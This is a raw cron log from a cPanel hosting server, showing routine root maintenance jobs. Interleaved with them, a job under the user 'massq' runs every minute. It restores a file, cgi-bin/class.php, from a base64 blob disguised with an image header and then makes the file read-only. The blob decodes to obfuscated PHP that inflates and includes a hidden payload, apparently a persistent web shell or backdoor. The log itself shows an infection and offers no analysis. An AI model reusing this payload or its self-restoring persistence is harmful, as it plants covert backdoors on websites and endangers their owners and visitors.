Sep  6 11:00:02 server CROND[6390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:01:01 server CROND[7384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:01:01 server CROND[7386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:01:01 server CROND[7385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:01:01 server CROND[7387]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 11:01:01 server run-parts(/etc/cron.hourly)[7387]: starting 0anacron
Sep  6 11:01:01 server run-parts(/etc/cron.hourly)[7408]: finished 0anacron
Sep  6 11:02:01 server CROND[7760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:02:01 server CROND[7762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:02:01 server CROND[7763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:03:01 server CROND[8183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:03:01 server CROND[8185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:03:01 server CROND[8186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:04:01 server CROND[8577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:04:01 server CROND[8579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:04:01 server CROND[8580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:05:01 server CROND[9003]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 11:05:01 server CROND[9004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:05:01 server CROND[9006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:05:01 server CROND[9008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:05:01 server CROND[9007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:05:01 server CROND[9014]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:05:01 server CROND[9011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:05:01 server CROND[9013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:05:01 server CROND[9009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:06:01 server CROND[9895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:06:01 server CROND[9897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:06:01 server CROND[9898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:07:01 server CROND[10380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:07:01 server CROND[10381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:07:01 server CROND[10382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:08:01 server CROND[10750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:08:01 server CROND[10751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:08:01 server CROND[10752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:09:01 server CROND[11116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:09:01 server CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 11:09:01 server CROND[11118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:09:01 server CROND[11119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:10:01 server CROND[11501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:10:01 server CROND[11503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:10:01 server CROND[11504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:10:01 server CROND[11506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:10:01 server CROND[11505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:10:01 server CROND[11508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:10:01 server CROND[11507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:10:01 server CROND[11516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:11:01 server CROND[12339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:11:01 server CROND[12340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:11:01 server CROND[12341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:12:01 server CROND[12826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:12:01 server CROND[12833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:12:01 server CROND[12834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
